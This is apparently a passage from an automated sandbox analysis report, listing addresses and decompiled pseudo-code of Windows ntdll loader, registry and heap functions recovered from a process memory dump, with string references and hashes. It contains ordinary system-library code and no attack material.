0x015d9c3c
0x015d9c42
0x015d9c42
0x015d9c3c
0x015d9c02
0x015887da
0x015887df
0x015887e3
0x00000000
0x00000000
0x015887e3
0x015887f2
0x00000000
0x015887fb
0x015887fd
0x015887fe
0x0158880e
0x0158880f
0x01588810
0x01588814
0x0158881a
0x0158881c
0x0158881f
0x01588821
0x01588822
0x01588824
0x01588826
0x0158882c
0x0158882e
0x015d9c48
0x015d9c48
0x01588834
0x01588834
0x01588837
0x00000000
0x00000000
0x01588837
0x0158882e
0x0158883d
0x01588840
0x01588843
0x01588846
0x01588849
0x0158884c
0x0158884e
0x01588850
0x01588852
0x01588854
0x01588857
0x015888b4
0x015888b6
0x015888b6
0x01588859
0x01588859
0x01588859
0x01588861
0x01588866
0x0158886a
0x0158893d
0x01588941
0x00000000
0x01588947
0x01588947
0x0158894a
0x0158894c
0x00000000
0x01588952
0x01588955
0x0158895a
0x0158895d
0x0158895d
0x0158895f
0x01588961
0x01588961
0x01588968
0x00000000
0x00000000
0x0158896a
0x0158896b
0x0158896e
0x00000000
0x01588970
0x01588970
0x01588970
0x01588970
0x01588972
0x01588972
0x01588974
0x00000000
0x0158897a
0x0158897a
0x0158897d
0x00000000
0x01588983
0x015d9c65
0x015d9c6d
0x015d9c72
0x015d9c75
0x015d9c75
0x015d9c82
0x015d9c86
0x015d9c87
0x015d9c88
0x015d9c89
0x015d9c8c
0x015d9c90
0x015d9c95
0x015d9c97
0x015d9ca0
0x015d9ca3
0x015d9ca9
0x015d9ca9
0x00000000
0x015d9ca9
0x015d9ca3
0x00000000
0x015d9c97
0x0158897d
0x00000000
0x01588974
0x01588988
0x01588992
0x01588996
0x00000000
0x01588996
0x0158894c
0x00000000
0x01588870
0x0158887b
0x0158887d
0x0158887f
0x01588881
0x01588884
0x01588884
0x01588886
0x01588889
0x0158888c
0x0158888e
0x01588891
0x01588891
0x01588898
0x00000000
0x00000000
0x0158889a
0x0158889b
0x0158889e
0x00000000
0x00000000
0x015888a0
0x015888a8
0x015888b0
0x015888b2
0x015888d3
0x015888d5
0x00000000
0x015888d7
0x015888db
0x015888dc
0x015888e0
0x015888e8
0x015888ee
0x015888f0
0x015888f3
0x015888fc
0x01588901
0x01588906
0x0158890c
0x0158890c
0x0158890f
0x01588916
0x01588917
0x01588918
0x01588919
0x0158891a
0x0158891f
0x01588921
0x015d9c52
0x015d9c55
0x015d9c5b
0x015d9cac
0x015d9cc0
0x015d9cc0
0x015d9c55
0x01588927
0x01588927
0x0158892f
0x01588933
0x00000000
0x015888f5
0x015888f5
0x00000000
0x015888f7
0x015888f7
0x015888fa
0x00000000
0x00000000
0x00000000
0x00000000
0x015888fa
0x015888f5
0x015888f3
0x00000000
0x015888d5
0x00000000
0x015888b2
0x015888c9
0x00000000
0x015888c9
0x0158887f
0x0158886a
0x01588857
0x01588852
0x015888bf
0x015888bf
0x015887aa
0x015887ad
0x015887ae
0x015887b4
0x015887b5
0x015887b6
0x015887b8
0x015887bd
0x015887c1
0x015887f4
0x015887fa
0x00000000
0x00000000
0x00000000
0x015887c1
0x00000000

Strings

LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 015D9C18
minkernel\ntdll\ldrsnap.c, xrefs: 015D9C28
LdrpDoPostSnapWork, xrefs: 015D9C1E

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
API String ID: 2994545307-1948996284
Opcode ID: 4a34961e1c562f7d23ebbd762d83082a4bd808882bf20eacd1e80b9acc23091a
Instruction ID: ef795a7de5dc7e3a8dec053cd5af0474a57612f069deb98084f8733d0c6b9996
Opcode Fuzzy Hash: 4a34961e1c562f7d23ebbd762d83082a4bd808882bf20eacd1e80b9acc23091a
Instruction Fuzzy Hash: C791F171A102169BEF28EF59D881ABEBBB5FF84314B884569D905BF251D730ED01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01587E41, Relevance: 3.9, Strings: 3, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E01587E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E0158CEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E0157C9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0x1665780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E015F5510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0x1665780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E01597D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E01597D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E015F7016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E01597D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E01597D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E015F7016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E015AA1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E0157B1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}

0x01587e4c
0x01587e50
0x01587e55
0x01587e58
0x01587e5d
0x01587e71
0x01587f33
0x01587e77
0x01587e77
0x01587e79
0x01587e79
0x01587e7e
0x01587f45
0x015d9848
0x00000000
0x015d9848
0x01587f4e
0x01587f53
0x01587f5a
0x00000000
0x00000000
0x015d985a
0x015d9862
0x015d9866
0x00000000
0x015d986c
0x00000000
0x015d986c
0x01587e84
0x01587e84
0x01587e8d
0x015d9871
0x01587eb8
0x01587ec0
0x01587ec0
0x01587e9a
0x015d987e
0x00000000
0x00000000
0x015d9884
0x015d988b
0x015d98a7
0x015d98ac
0x015d98b1
0x015d98b6
0x015d98b8
0x015d98b8
0x015d98b9
0x00000000
0x015d98b9
0x01587ea0
0x01587ea7
0x00000000
0x00000000
0x01587eac
0x01587eb1
0x01587ec6
0x01587ed0
0x015d98cc
0x01587ed6
0x01587ed6
0x01587ed6
0x01587ede
0x01587ee3
0x015d98e3
0x015d98f0
0x015d9902
0x015d98f2
0x015d98fb
0x015d98fb
0x015d9907
0x015d991d
0x015d991d
0x015d9907
0x015d98e3
0x01587ef0
0x01587f14
0x01587f14
0x01587f1e
0x015d9946
0x01587f24
0x01587f24
0x01587f24
0x01587f2c
0x015d996a
0x015d9975
0x015d9975
0x015d997e
0x015d9993
0x015d9993
0x015d997e
0x00000000
0x01587ef2
0x01587efc
0x01587f0a
0x01587f0e
0x015d9933
0x00000000
0x015d9933
0x00000000
0x01587f0e
0x00000000
0x00000000
0x00000000
0x01587eb1

Strings

minkernel\ntdll\ldrmap.c, xrefs: 015D98A2
LdrpCompleteMapModule, xrefs: 015D9898
Could not validate the crypto signature for DLL %wZ, xrefs: 015D9891

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: c579785ae321cba6ac2098a53c281573f03cbf6251e2fb90e8ef3ebbb1c714b1
Instruction ID: f251f2adba92daddc95d01ccd29fac0b73a6eccc87df7488599d80c5983b70b6
Opcode Fuzzy Hash: c579785ae321cba6ac2098a53c281573f03cbf6251e2fb90e8ef3ebbb1c714b1
Instruction Fuzzy Hash: 1B51F1316007469FEB22DB6CC985B2ABBE4FB49718F2405A9E951AF7D1D730ED00CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0157E620, Relevance: 3.9, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0157E620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E0157F358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E015B95D0();
						}
						if(_t78 != 0) {
							L015977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E015BFA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E015BBB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E015B9600();
					if(_t97 < 0) {
						goto L6;
					}
					E015BBB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L0157F018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E015BBB40(_t83, _t102 + 0x24, _t78);
								if(L015843C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E015BBB40(_t84, _t102 + 0x24, _t94);
									if(L015843C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}

0x0157e620
0x0157e628
0x0157e62f
0x0157e631
0x0157e635
0x0157e637
0x0157e63e
0x015d5503
0x015d5503
0x0157e64c
0x0157e64c
0x0157e651
0x00000000
0x00000000
0x0157e661
0x0157e665
0x015d542a
0x0157e715
0x0157e71a
0x0157e71c
0x0157e720
0x0157e720
0x0157e727
0x0157e736
0x0157e736
0x0157e743
0x0157e743
0x0157e673
0x0157e678
0x0157e67d
0x0157e682
0x0157e685
0x0157e692
0x0157e69b
0x0157e6a3
0x0157e6ad
0x0157e6b1
0x0157e6b2
0x0157e6bb
0x0157e6bf
0x0157e6c0
0x0157e6c8
0x0157e6cc
0x0157e6d5
0x0157e6d9
0x00000000
0x00000000
0x0157e6e5
0x0157e6ea
0x0157e6f9
0x0157e70b
0x0157e70f
0x015d5439
0x015d545e
0x015d545e
0x00000000
0x015d545e
0x015d543b
0x015d543e
0x015d5440
0x015d5445
0x015d5472
0x015d5475
0x015d548d
0x015d5493
0x015d54a9
0x00000000
0x00000000
0x015d54ab
0x015d54b4
0x015d54bc
0x015d54c8
0x015d54de
0x015d54fb
0x015d54e0
0x015d54e6
0x015d54eb
0x015d54eb
0x015d54de
0x00000000
0x015d54bc
0x015d5477
0x015d547a
0x015d5480
0x015d5483
0x015d5486
0x015d548b
0x00000000
0x00000000
0x00000000
0x015d548b
0x00000000
0x00000000
0x00000000
0x00000000
0x015d5447
0x015d5447
0x015d5447
0x015d5447
0x015d544e
0x00000000
0x00000000
0x015d5450
0x015d5452
0x015d5455
0x015d545a
0x00000000
0x00000000
0x00000000
0x015d545c
0x015d546a
0x015d546d
0x015d546f
0x00000000
0x015d546f
0x0157e70f

Strings

InstallLanguageFallback, xrefs: 0157E6DB
@, xrefs: 0157E6C0
\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 0157E68C

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: fdf8ac9d2365c38dd0c63d7b7ecc1423f3650383bf23585ea214d716bf0c470b
Instruction ID: f3605371b07d8857d93ace64a308feb5e5c66fac5b1cd24f712779e7454aaac7
Opcode Fuzzy Hash: fdf8ac9d2365c38dd0c63d7b7ecc1423f3650383bf23585ea214d716bf0c470b
Instruction Fuzzy Hash: B751C0725143469BD721DF28C481AAFB7E8BF88614F44096EF985DB240FB30D904C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0163E539, Relevance: 2.8, Strings: 2, Instructions: 261
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E0163E539(unsigned int* __ecx, intOrPtr __edx, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				unsigned int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				void* __ebx;
				void* __edi;
				char _t87;
				signed int _t90;
				signed int _t94;
				signed int _t100;
				intOrPtr* _t113;
				signed int _t122;
				void* _t132;
				void* _t135;
				signed int _t139;
				signed int* _t141;
				signed int _t146;
				signed int _t147;
				void* _t153;
				signed int _t155;
				signed int _t159;
				char _t166;
				void* _t172;
				void* _t176;
				signed int _t177;
				intOrPtr* _t179;

				_t179 = __ecx;
				_v48 = __edx;
				_v68 = 0;
				_v72 = 0;
				_push(__ecx[1]);
				_push( *__ecx);
				_push(0);
				_t153 = 0x14;
				_t135 = _t153;
				_t132 = E0163BBBB(_t135, _t153);
				if(_t132 == 0) {
					_t166 = _v68;
					goto L43;
				} else {
					_t155 = 0;
					_v52 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v56 = __ecx[1];
					if( *__ecx >> 8 < 2) {
						_t155 = 1;
						_v52 = 1;
					}
					_t139 = _a4;
					_t87 = (_t155 << 0xc) + _t139;
					_v60 = _t87;
					if(_t87 < _t139) {
						L11:
						_t166 = _v68;
						L12:
						if(_t132 != 0) {
							E0163BCD2(_t132,  *_t179,  *((intOrPtr*)(_t179 + 4)));
						}
						L43:
						if(_v72 != 0) {
							_push( *((intOrPtr*)(_t179 + 4)));
							_push( *_t179);
							_push(0x8000);
							E0163AFDE( &_v72,  &_v60);
						}
						L46:
						return _t166;
					}
					_t90 =  *(_t179 + 0xc) & 0x40000000;
					asm("sbb edi, edi");
					_t172 = ( ~_t90 & 0x0000003c) + 4;
					if(_t90 != 0) {
						_push(0);
						_push(0x14);
						_push( &_v44);
						_push(3);
						_push(_t179);
						_push(0xffffffff);
						if(E015B9730() < 0 || (_v40 & 0x00000060) == 0 || _v44 != _t179) {
							_push(_t139);
							E0163A80D(_t179, 1, _v40, 0);
							_t172 = 4;
						}
					}
					_t141 =  &_v72;
					if(E0163A854(_t141,  &_v60, 0, 0x2000, _t172, _t179,  *_t179,  *((intOrPtr*)(_t179 + 4))) >= 0) {
						_v64 = _a4;
						_t94 =  *(_t179 + 0xc) & 0x40000000;
						asm("sbb edi, edi");
						_t176 = ( ~_t94 & 0x0000003c) + 4;
						if(_t94 != 0) {
							_push(0);
							_push(0x14);
							_push( &_v24);
							_push(3);
							_push(_t179);
							_push(0xffffffff);
							if(E015B9730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t179) {
								_push(_t141);
								E0163A80D(_t179, 1, _v20, 0);
								_t176 = 4;
							}
						}
						if(E0163A854( &_v72,  &_v64, 0, 0x1000, _t176, 0,  *_t179,  *((intOrPtr*)(_t179 + 4))) < 0) {
							goto L11;
						} else {
							_t177 = _v64;
							 *((intOrPtr*)(_t132 + 0xc)) = _v72;
							_t100 = _v52 + _v52;
							_t146 =  *(_t132 + 0x10) & 0x00000ffd | _t177 & 0xfffff000 | _t100;
							 *(_t132 + 0x10) = _t146;
							asm("bsf eax, [esp+0x18]");
							_v52 = _t100;
							 *(_t132 + 0x10) = (_t100 << 0x00000002 ^ _t146) & 0x000000fc ^ _t146;
							 *((short*)(_t132 + 0xc)) = _t177 - _v48;
							_t47 =  &_a8;
							 *_t47 = _a8 & 0x00000001;
							if( *_t47 == 0) {
								E01592280(_t179 + 0x30, _t179 + 0x30);
							}
							_t147 =  *(_t179 + 0x34);
							_t159 =  *(_t179 + 0x38) & 1;
							_v68 = 0;
							if(_t147 == 0) {
								L35:
								E0158B090(_t179 + 0x34, _t147, _v68, _t132);
								if(_a8 == 0) {
									E0158FFB0(_t132, _t177, _t179 + 0x30);
								}
								asm("lock xadd [eax], ecx");
								asm("lock xadd [eax], edx");
								_t132 = 0;
								_v72 = _v72 & 0;
								_v68 = _v72;
								if(E01597D50() == 0) {
									_t113 = 0x7ffe0388;
								} else {
									_t177 = _v64;
									_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
								}
								if( *_t113 == _t132) {
									_t166 = _v68;
									goto L46;
								} else {
									_t166 = _v68;
									E0162FEC0(_t132, _t179, _t166, _t177 + 0x1000);
									goto L12;
								}
							} else {
								L23:
								while(1) {
									if(_v72 < ( *(_t147 + 0xc) & 0xffff0000)) {
										_t122 =  *_t147;
										if(_t159 == 0) {
											L32:
											if(_t122 == 0) {
												L34:
												_v68 = 0;
												goto L35;
											}
											L33:
											_t147 = _t122;
											continue;
										}
										if(_t122 == 0) {
											goto L34;
										}
										_t122 = _t122 ^ _t147;
										goto L32;
									}
									_t122 =  *(_t147 + 4);
									if(_t159 == 0) {
										L27:
										if(_t122 != 0) {
											goto L33;
										}
										L28:
										_v68 = 1;
										goto L35;
									}
									if(_t122 == 0) {
										goto L28;
									}
									_t122 = _t122 ^ _t147;
									goto L27;
								}
							}
						}
					}
					_v72 = _v72 & 0x00000000;
					goto L11;
				}
			}

0x0163e547
0x0163e549
0x0163e54f
0x0163e553
0x0163e557
0x0163e55a
0x0163e55c
0x0163e55f
0x0163e561
0x0163e567
0x0163e56b
0x0163e7e2
0x00000000
0x0163e571
0x0163e575
0x0163e577
0x0163e57b
0x0163e57c
0x0163e57d
0x0163e57e
0x0163e57f
0x0163e588
0x0163e58f
0x0163e591
0x0163e592
0x0163e592
0x0163e596
0x0163e59e
0x0163e5a0
0x0163e5a6
0x0163e61d
0x0163e61d
0x0163e621
0x0163e623
0x0163e630
0x0163e630
0x0163e7e6
0x0163e7eb
0x0163e7ed
0x0163e7f4
0x0163e7fa
0x0163e7ff
0x0163e7ff
0x0163e80a
0x0163e812
0x0163e812
0x0163e5ab
0x0163e5b4
0x0163e5b9
0x0163e5be
0x0163e5c0
0x0163e5c2
0x0163e5c8
0x0163e5c9
0x0163e5cb
0x0163e5cc
0x0163e5d5
0x0163e5e4
0x0163e5f1
0x0163e5f8
0x0163e5f8
0x0163e5d5
0x0163e602
0x0163e616
0x0163e63d
0x0163e644
0x0163e64d
0x0163e652
0x0163e657
0x0163e659
0x0163e65b
0x0163e661
0x0163e662
0x0163e664
0x0163e665
0x0163e66e
0x0163e67d
0x0163e68a
0x0163e691
0x0163e691
0x0163e66e
0x0163e6b0
0x00000000
0x0163e6b6
0x0163e6bd
0x0163e6c7
0x0163e6d7
0x0163e6d9
0x0163e6db
0x0163e6de
0x0163e6e3
0x0163e6f3
0x0163e6fc
0x0163e700
0x0163e700
0x0163e704
0x0163e70a
0x0163e70a
0x0163e713
0x0163e716
0x0163e719
0x0163e720
0x0163e761
0x0163e76b
0x0163e774
0x0163e77a
0x0163e77a
0x0163e78a
0x0163e791
0x0163e799
0x0163e79b
0x0163e79f
0x0163e7aa
0x0163e7c0
0x0163e7ac
0x0163e7b2
0x0163e7b9
0x0163e7b9
0x0163e7c7
0x0163e806
0x00000000
0x0163e7c9
0x0163e7d1
0x0163e7d8
0x00000000
0x0163e7d8
0x00000000
0x00000000
0x0163e722
0x0163e72e
0x0163e748
0x0163e74c
0x0163e754
0x0163e756
0x0163e75c
0x0163e75c
0x00000000
0x0163e75c
0x0163e758
0x0163e758
0x00000000
0x0163e758
0x0163e750
0x00000000
0x00000000
0x0163e752
0x00000000
0x0163e752
0x0163e730
0x0163e735
0x0163e73d
0x0163e73f
0x00000000
0x00000000
0x0163e741
0x0163e741
0x00000000
0x0163e741
0x0163e739
0x00000000
0x00000000
0x0163e73b
0x00000000
0x0163e73b
0x0163e722
0x0163e720
0x0163e6b0
0x0163e618
0x00000000
0x0163e618

Strings

`, xrefs: 0163E670
`, xrefs: 0163E5D7

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction ID: 770ddd2cc8dddcb73f84e6692b298ea1eec4ab49c342446b0a6c7cb1edcdee92
Opcode Fuzzy Hash: 05a91a0fb7c852bb70cf50c65af3218cd2861133de0ca7c3fb946f23ed8e9edd
Instruction Fuzzy Hash: FC919E316043429BE725CE69CC40B6BBBE6BFC4714F14892DF695CB280E776E805CB62

Uniqueness

Uniqueness Score: -1.00%

Function 015F51BE, Relevance: 2.7, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E015F51BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0x16505f0);
				E015CD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					E0158EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E015F53CA(0);
						return E015CD130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E015BF3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E01593690(1, _t117, 0x1551810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E015BAA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L01594620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E015BAA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E015F500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
